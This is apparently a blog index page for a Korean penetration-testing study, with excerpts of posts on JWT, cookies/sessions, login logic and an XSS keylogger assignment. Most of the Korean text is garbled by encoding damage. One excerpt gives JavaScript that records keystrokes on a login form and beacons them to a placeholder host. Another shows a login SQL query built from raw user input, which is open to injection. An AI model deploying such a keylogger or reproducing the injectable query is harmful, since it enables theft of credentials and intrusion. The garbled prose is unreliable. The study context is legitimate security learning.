Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋””/๋ชจ์˜ ํ•ดํ‚น - ๊ณผ์ œ 15

[๊ณผ์ œ] 04์ฃผ์ฐจ (1-1 β) ํ‚ค ๋กœ๊ฑฐ ๊ตฌํ˜„ (๋กœ๊ทธ์ธ ์ฐฝ)

๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 4์ฃผ์ฐจ ๊ณผ์ œ (1-1) ํ‚ค ๋กœ๊ฑฐ ์ถ”๊ฐ€ ๊ตฌํ˜„ ์ฝ”๋“œ ๊ตฌ์„ฑ key_logger.html key_logger.js key_logger.php view.html key_logger.html Login Form Login ๋กœ๊ทธ์ธ ํผ์˜ ํ‚ค๋กœ๊ฑฐ key_logger.js var keys=''; var url = 'http://ip adress/key_logger.php?c='; document.onkeydown = function(e) { var key = e.key; keys+=key; } window.setInterval(function(){ if(keys.length > 0) { var data = encodeURIComponent(keys) new Image().src = url + data..

[๊ณผ์ œ] 04์ฃผ์ฐจ (1-1 α) (XSS)ํ‚ค ๋กœ๊ฑฐ ๊ตฌํ˜„

๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 4์ฃผ์ฐจ ๊ณผ์ œ (1-1) ํ‚ค ๋กœ๊ฑฐ ๊ตฌํ˜„ ํ‚ค ๋กœ๊น…์ด๋ž€? ํ‚ค ๋กœ๊น…(Keylogging, ํ‚ค ์ŠคํŠธ๋กœํฌ ๋กœ๊น…(Keystroke logging) ์‚ฌ์šฉ์ž๊ฐ€ ํ‚ค๋ณด๋“œ๋กœ PC์— ์ž…๋ ฅํ•˜๋Š” ๋‚ด์šฉ์„ ๋ชฐ๋ž˜ ๊ฐ€๋กœ์ฑ„์–ด ๊ธฐ๋กํ•˜๋Š” ํ–‰์œ„ (ํ‚ค๋ณด๋“œ๋กœ ์ž…๋ ฅํ•˜๋Š” ์ •๋ณด๋ฅผ ์ค‘๊ฐ„์— ๊ฐ€๋กœ์ฑ„๊ธฐ ํ•˜์—ฌ ์ •๋ณด๋ฅผ ํ›”์ณ๊ฐ€๋Š” ํ•ดํ‚น ๋„๊ตฌ) ๋‚ด๊ฐ€ ์ž…๋ ฅํ•œ ํ‚ค ๊ฐ’์˜ ๋กœ๊ทธ๋ฅผ ํƒ€์ธ์ด ๋ด„์œผ๋กœ์จ ํ•ดํ‚น ํ”ผํ•ด์— ๋…ธ์ถœ ํ•˜๋“œ์›จ์–ด, ์†Œํ”„ํŠธ์›จ์–ด๋ฅผ ํ™œ์šฉํ•œ ๋ฐฉ๋ฒ•์—์„œ๋ถ€ํ„ฐ ์ „์ž์ , ์Œํ–ฅ๊ธฐ์ˆ ์„ ํ™œ์šฉํ•œ ๊ธฐ๋ฒ•๊นŒ์ง€ ๋‹ค์–‘ํ•œ ํ‚ค๋กœ๊น… ๋ฐฉ๋ฒ•์ด ์กด์žฌ ํ‚ค ๋กœ๊ฑฐ(Key Logger) Key + Log ํ‚ค๋ณด๋“œ์— ์ž…๋ ฅํ•œ ํ‚ค์˜ ํ”์ ์„ ๋‚จ๊ธฐ๋Š” ํ”„๋กœ๊ทธ๋žจ ํ”„๋กœ์„ธ์Šค๋กœ ์‚ฌ์ค‘ํ•˜๋ฉด์„œ ํ‚ค๋ณด๋“œ์— ์ž…๋ ฅ๋œ ๋ชจ๋“  ๊ธฐ๋ก๋“ค์„ .txt ํ˜น์€ ์ง€์ •๋œ ํ™•์žฅ์ž๋กœ ์ €์žฅ๋˜๊ฒŒ ํ•จ ํ‚ค๋ณด๋“œ๋ฅผ ํ†ตํ•ด ์ด๋ค„์ง€๋Š” ๋ชจ๋“  ์ •๋ณด๊ฐ€ ๋…ธ์ถœ๋˜๊ณ  ์žˆ๋Š” ๊ฒƒ ..

[๊ณผ์ œ] 03์ฃผ์ฐจ(3-3) JWT ๊ตฌํ˜„ (๋กœ๊ทธ์ธ ์œ ์ง€)

๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 3์ฃผ์ฐจ ๊ณผ์ œ (3-3) JWT ๊ตฌํ˜„ (๋กœ๊ทธ์ธ ์œ ์ง€) ์ฝ”๋“œ์— ๋Œ€ํ•˜์—ฌ ๋” ๋ณด๋‹ค๊ฐ€ ๋ฐœ๊ฒฌํ•œ ๋ฌธ์ œ์  ์ˆ˜์ • TIL - JWT ํ† ํฐ (๋‚ด ์ฝ”๋“œ์˜ ๋ฌธ์ œ์  ๋ฐœ๊ฒฌ) ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 3์ฃผ์ฐจ ๊ณผ์ œ (3-2) JWT ๊ตฌํ˜„ - jwt ๊ทœ๊ฒฉ์— ์–ด๊ธ‹๋‚จ ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - ๊ณผ์ œ 03์ฃผ์ฐจ(3-2) JWT ๊ตฌํ˜„ - jwt ๊ทœ๊ฒฉ์— ์–ด๊ธ‹๋‚จ ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 3์ฃผ์ฐจ ๊ณผ์ œ (3-2) JWT ๊ตฌํ˜„(๋กœ๊ทธ์ธ ์œ ์ง€) ๋ฌธ์ œ์  ๋ฐœ๊ฒฌ ๊ธฐ์กด์˜ ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€์˜ Develop ๊ณผ์ œ ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 3์ฃผ์ฐจ ๊ณผ์ œ(1) ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ๋ณด์™„ ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - ๊ณผ์ œ 03์ฃผ์ฐจ(1) codegear-archive.tistory.com JWT ๊ตฌํ˜„์— ์„ฑ๊ณตํ–ˆ๋‹ค๊ณ  ์ƒ๊ฐํ•˜๊ณ , ์ด๊ฒƒ์ €๊ฒƒ ์ถ”๊ฐ€์ ์œผ๋กœ ์ฐพ์•„๋ณด๋˜ ๋„์ค‘ jwt ๊ทœ๊ฒฉ์— ๋งž์ง€ ์•Š๋Š” ๋ฐฉ์‹์œผ..

[๊ณผ์ œ] 03์ฃผ์ฐจ(3-2) JWT ๊ตฌํ˜„ - jwt ๊ทœ๊ฒฉ์— ์–ด๊ธ‹๋‚จ

๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 3์ฃผ์ฐจ ๊ณผ์ œ (3-2) JWT ๊ตฌํ˜„(๋กœ๊ทธ์ธ ์œ ์ง€) ๋ฌธ์ œ์  ๋ฐœ๊ฒฌ ๊ธฐ์กด์˜ ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€์˜ Develop ๊ณผ์ œ ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 3์ฃผ์ฐจ ๊ณผ์ œ(1) ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ๋ณด์™„ ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - ๊ณผ์ œ 03์ฃผ์ฐจ(1) ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ๋ณด์™„ ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - ๊ณผ์ œ 03์ฃผ์ฐจ(1) ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ๋ณด์™„ ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 2์ฃผ์ฐจ ๊ณผ์ œ (๋งˆ์ดํŽ˜์ด์ง€ - ๋‚˜์˜ ์ •๋ณด) ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - ๊ณผ์ œ 02์ฃผ์ฐจ(3) (๋งˆ์ดํŽ˜์ด์ง€ - ๋‚˜์˜ ์ •๋ณด) ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 2์ฃผ codegear-archive.tistory.com ์œ„์˜ ๊ณผ์ œ๋ถ€ํ„ฐ JWT๋ฅผ ์‚ฌ์šฉ, ์ด์ „์—๋Š” ์„ธ์…˜(SESSION)์„ ์ด์šฉ (๊ธฐ์กด์˜ ๊ณผ์ œ ์ง„ํ–‰์— ์žˆ์–ด GET์„ ์ด์šฉํ•˜์—ฌ ๋‹ค๋ฅธ ํŽ˜์ด์ง€๋กœ ์ •๋ณด๋ฅผ ๋ณด๋‚ด๋ ค ํ–ˆ์Œ) ๋ณด์•ˆ์ ์ธ ๋ฌธ์ œ๋งŒ ๋ฐœ์ƒํ•  ๋ฟ, JWT๋ฅผ ์ด์šฉํ•˜์—ฌ..

[๊ณผ์ œ] 03์ฃผ์ฐจ(3-1) ์ฟ ํ‚ค/์„ธ์…˜

๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 3์ฃผ์ฐจ ์ถ”๊ฐ€๊ณผ์ œ (3-1) JWT ๊ตฌํ˜„์„ ์œ„ํ•œ(์ฟ ํ‚ค / ์„ธ์…˜)์ •๋ฆฌ JWT๋ฅผ ๊ตฌํ˜„ํ•˜๊ธฐ์— ์•ž์„œ ์ฟ ํ‚ค(Cookie) ์™€ ์„ธ์…˜(Session)์˜ ์‚ฌ์šฉ ๋ฐฉ์‹ ์ •๋ฆฌ JWT๋„ ๊ฒฐ๊ตญ ์ฟ ํ‚ค์— ๋„ฃ์–ด์„œ ์‚ฌ์šฉํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์ •๋ฆฌ ์„ธ์…˜์˜ ๊ฒฝ์šฐ๋„ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ์ฟ ํ‚ค๋ฅผ ์ด์šฉ ์ฟ ํ‚ค(Cookie) 1) ์ฟ ํ‚ค ์ƒ์„ฑ, ์ˆ˜์ •

[๊ณผ์ œ] 03์ฃผ์ฐจ(3) - JWT ๋ž€?

JWT ์— ๋Œ€ํ•œ ์ดํ•ด ์ด์ „ ๊ธ€์—์„œ ์ด์–ด์ง€๋Š” ๋‚ด์šฉ ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - ๊ธฐ๋ก์ผ์ง€ 03์ฃผ์ฐจ (๋กœ๊ทธ์ธ ๋กœ์ง/๋กœ๊ทธ์ธ ์œ ์ง€) ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - ๊ธฐ๋ก์ผ์ง€ 03์ฃผ์ฐจ (๋กœ๊ทธ์ธ ๋กœ์ง/๋กœ๊ทธ์ธ ์œ ์ง€) ๋กœ๊ทธ์ธ ๋กœ์ง(๋กœ๊ทธ์ธ ๊ณผ์ •)๊ณผ ๋กœ๊ทธ์ธ ์œ ์ง€ ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ์ดํ•ด ๋กœ๊ทธ์ธ์ด๋ž€ ๋ฌด์—‡์ธ๊ฐ€? ๋‹ค์ค‘ ์‚ฌ์šฉ์ž ์‹œ์Šคํ…œ์„ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•˜์—ฌ ์ปดํ“จํ„ฐ์— ์‚ฌ์šฉ์ž์ž„์„ ์•Œ๋ฆฌ๋Š”์ผ (์ฆ‰, ์ปดํ“จํ„ฐ๊ฐ€ ๊ทธ ์‚ฌ๋žŒ์ด ๋งž๋Š”์ง€๋ฅผ ํ™•์ธ codegear-archive.tistory.com ์™œ JWT์ผ๊นŒ? ์•ž์„œ ๋ณด์•˜๋“ฏ์ด ์ธ์ฆ์„ ์œ„ํ•ด Cookie์™€ Session์„ ์‚ฌ์šฉํ•˜๊ณ , ๊ทธ ํ•œ๊ณ„์ , ๋ณด์•ˆ์„ฑ์˜ ๋ฌธ์ œ๊ฐ€ ์กด์žฌ ์ฟ ํ‚ค์™€ ์„ธ์…˜์˜ ๋‹จ์ ์— ๋Œ€ํ•˜์—ฌ ์ข€ ๋” ์‚ดํŽด ๋ณด์ž๋ฉด... ์ฟ ํ‚ค(Cookie) ๋กœ๊ทธ์ธ ํ–ˆ์„ ๋•Œ Set-Cookie์˜ ํ˜•ํƒœ๋กœ ๋ฐ˜ํ™˜์„ ๋ฐ›์€ ์ฟ ํ‚ค๋ฅผ ํ† ๋Œ€๋กœ ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•œ ์š”์ฒญ๋งˆ๋‹ค ..

[๊ณผ์ œ] 03์ฃผ์ฐจ(2) ๋กœ๊ทธ์ธ ๋กœ์ง (์‹๋ณ„/์ธ์ฆ/ํ•ด์‹œ)

๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - ๊ณผ์ œ 03์ฃผ์ฐจ(2) ๋กœ๊ทธ์ธ ๋กœ์ง (์‹๋ณ„/์ธ์ฆ/ํ•ด์‹œ) ๊ธฐ์กด ๊ณผ์ œ์—์„œ ์‚ฌ์šฉํ•œ ๋กœ์ง : ์‹๋ณ„ / ์ธ์ฆ ๋ถ„๋ฆฌ (with ํ•ด์‹œ) ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - ๊ณผ์ œ 02์ฃผ์ฐจ(2) (ํšŒ์›๊ฐ€์ž…/๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ๊ตฌํ˜„) ์‹๋ณ„/์ธ์ฆ/Hash๋ฅผ ํ™œ์šฉํ•œ ๋กœ๊ทธ์ธ ๋กœ์ง 4๊ฐ€์ง€ ๊ตฌํ˜„ ์‹๋ณ„/์ธ์ฆ ๋™์‹œ ์‹๋ณ„/์ธ์ฆ ๋ถ„๋ฆฌ ์‹๋ณ„/์ธ์ฆ ๋™์‹œ (with ํ•ด์‹œ) ์‹๋ณ„/์ธ์ฆ ๋ถ„๋ฆฌ (with ํ•ด์‹œ) 1) ์‹๋ณ„/์ธ์ฆ ๋™์‹œ ํšŒ์› ๋ฐ์ดํ„ฐ ์กฐํšŒ ๋ฐ ์ผ์น˜์—ฌ๋ถ€ ํ™•์ธ (์•„์ด๋”” ๋น„๋ฐ€๋ฒˆํ˜ธ ๋™์‹œ ์กฐํšŒ) SELECT * FROM userTbl WHERE userID= '$userID' and pass= '$pass'" $cnt = mysqli_num_rows($ret); ๊ฐ’์ด 1์ธ์ง€ ํŒ๋‹จ $cnt == 0 : ์ผ์น˜ํ•˜๋Š” ๊ฒฐ๊ณผ ๊ฐ’์ด ์—†์Œ - ๋กœ๊ทธ์ธ ์‹คํŒจ $cn..

[๊ณผ์ œ] 03์ฃผ์ฐจ(1) ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ๋ณด์™„

๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - ๊ณผ์ œ 03์ฃผ์ฐจ(1) ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ๋ณด์™„ ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 2์ฃผ์ฐจ ๊ณผ์ œ (๋งˆ์ดํŽ˜์ด์ง€ - ๋‚˜์˜ ์ •๋ณด) ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - ๊ณผ์ œ 02์ฃผ์ฐจ(3) (๋งˆ์ดํŽ˜์ด์ง€ - ๋‚˜์˜ ์ •๋ณด) ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 2์ฃผ์ฐจ ๊ณผ์ œ(3) (๋งˆ์ดํŽ˜์ด์ง€ - ๋‚˜์˜ ์ •๋ณด) ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - ๊ณผ์ œ 02์ฃผ์ฐจ(2) (ํšŒ์›๊ฐ€์ž…/๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ๊ตฌํ˜„)์˜ Develop ๊ณผ์ œ ๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - ๊ณผ์ œ 02์ฃผ์ฐจ(2) (ํšŒ์›๊ฐ€์ž…/๋กœ๊ทธ์ธ ํŽ˜ codegear-archive.tistory.com ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ๊ตฌํ˜„์˜ Develop ๊ณผ์ œ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ ํšŒ์›์ •๋ณด ์ˆ˜์ • ํšŒ์›ํƒˆํ‡ด ๋ณ€๊ฒฝ์  (๋ฆฌ๋””๋ ‰์…˜ ๋ณ€๊ฒฝ) home.php mypage.php ์ถ”๊ฐ€๋œ ์ฝ”๋“œ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ edit_pw.php change.php ํšŒ์›์ •๋ณด ์ˆ˜์ • edit.php up..